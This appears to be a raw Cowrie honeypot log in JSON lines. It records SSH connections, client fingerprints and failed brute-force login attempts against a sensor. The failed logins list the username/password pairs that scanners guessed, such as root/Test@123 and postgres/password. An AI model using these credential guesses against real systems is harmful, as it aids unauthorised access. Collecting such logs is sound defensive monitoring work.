{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:54:14.414021Z","src_ip":"8.218.166.49","session":"98788285b165","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:54:14.622270Z","src_ip":"8.218.166.49","session":"98788285b165","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.64266276359558,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:54:16.302040Z","src_ip":"142.93.69.27","session":"4b18b42c9572","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"221.161.235.168","src_port":38638,"dst_ip":"159.203.135.109","dst_port":22,"session":"726f3767e3cd","protocol":"ssh","message":"New connection: 221.161.235.168:38638 (159.203.135.109:22) [session: 726f3767e3cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:54:17.364602Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:54:17.370207Z","src_ip":"221.161.235.168","session":"726f3767e3cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:54:17.569244Z","src_ip":"221.161.235.168","session":"726f3767e3cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Test@123","message":"login attempt [root/Test@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:54:18.396523Z","src_ip":"221.161.235.168","session":"726f3767e3cd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.167.237.191","src_port":41292,"dst_ip":"159.203.135.109","dst_port":22,"session":"f104c4cdacc5","protocol":"ssh","message":"New connection: 190.167.237.191:41292 (159.203.135.109:22) [session: f104c4cdacc5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:54:18.637412Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:54:18.645746Z","src_ip":"190.167.237.191","session":"f104c4cdacc5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:54:18.708191Z","src_ip":"190.167.237.191","session":"f104c4cdacc5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pages","message":"login attempt [root/pages] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:54:18.983509Z","src_ip":"190.167.237.191","session":"f104c4cdacc5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:54:19.597332Z","src_ip":"221.161.235.168","session":"726f3767e3cd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":41058,"dst_ip":"10.17.0.5","dst_port":22,"session":"fc4740637935","protocol":"ssh","message":"New connection: 8.218.166.49:41058 (10.17.0.5:22) [session: fc4740637935]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:54:20.041118Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:54:20.046133Z","src_ip":"8.218.166.49","session":"fc4740637935","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:54:20.051566Z","src_ip":"190.167.237.191","session":"f104c4cdacc5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.6.49","src_port":57032,"dst_ip":"159.203.135.109","dst_port":22,"session":"13d1921ceb06","protocol":"ssh","message":"New connection: 165.154.6.49:57032 (159.203.135.109:22) [session: 13d1921ceb06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:54:22.785628Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:54:22.790607Z","src_ip":"165.154.6.49","session":"13d1921ceb06","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:54:23.015754Z","src_ip":"165.154.6.49","session":"13d1921ceb06","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"linux","password":"linux123","message":"login attempt [linux/linux123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:54:23.945969Z","src_ip":"165.154.6.49","session":"13d1921ceb06","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:54:25.175126Z","src_ip":"165.154.6.49","session":"13d1921ceb06","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":45336,"dst_ip":"10.17.0.5","dst_port":22,"session":"e138cc3ddfb3","protocol":"ssh","message":"New connection: 8.218.166.49:45336 (10.17.0.5:22) [session: e138cc3ddfb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:54:25.280074Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:54:25.285796Z","src_ip":"8.218.166.49","session":"e138cc3ddfb3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.20.210.186","src_port":48026,"dst_ip":"10.17.0.5","dst_port":22,"session":"3648b66d582b","protocol":"ssh","message":"New connection: 178.20.210.186:48026 (10.17.0.5:22) [session: 3648b66d582b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:54:25.355475Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:54:25.360209Z","src_ip":"178.20.210.186","session":"3648b66d582b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:54:25.467653Z","src_ip":"178.20.210.186","session":"3648b66d582b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"password","message":"login attempt [postgres/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:54:25.886134Z","src_ip":"178.20.210.186","session":"3648b66d582b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:54:26.996573Z","src_ip":"178.20.210.186","session":"3648b66d582b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"189.113.47.155","src_port":54976,"dst_ip":"159.203.135.109","dst_port":22,"session":"2ebf91f0d20a","protocol":"ssh","message":"New connection: 189.113.47.155:54976 (159.203.135.109:22) [session: 2ebf91f0d20a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:54:27.244193Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:54:27.252975Z","src_ip":"189.113.47.155","session":"2ebf91f0d20a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:54:27.367844Z","src_ip":"189.113.47.155","session":"2ebf91f0d20a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"grep","message":"login attempt [root/grep] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:54:27.859816Z","src_ip":"189.113.47.155","session":"2ebf91f0d20a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:54:28.978513Z","src_ip":"189.113.47.155","session":"2ebf91f0d20a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.59.208.49","src_port":42812,"dst_ip":"159.203.135.109","dst_port":22,"session":"5a20bf38614d","protocol":"ssh","message":"New connection: 139.59.208.49:42812 (159.203.135.109:22) [session: 5a20bf38614d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:54:32.783813Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:54:32.788062Z","src_ip":"139.59.208.49","session":"5a20bf38614d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:54:32.872563Z","src_ip":"139.59.208.49","session":"5a20bf38614d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zaq12wsxcde34","message":"login attempt [root/zaq12wsxcde34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:54:33.245226Z","src_ip":"139.59.208.49","session":"5a20bf38614d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:54:34.331977Z","src_ip":"139.59.208.49","session":"5a20bf38614d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"108.178.7.34","src_port":59396,"dst_ip":"10.17.0.5","dst_port":22,"session":"edf5338b89bc","protocol":"ssh","message":"New connection: 108.178.7.34:59396 (10.17.0.5:22) [session: edf5338b89bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:54:34.985846Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:54:34.990995Z","src_ip":"108.178.7.34","session":"edf5338b89bc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:54:35.025577Z","src_ip":"108.178.7.34","session":"edf5338b89bc","protocol":"ssh"}
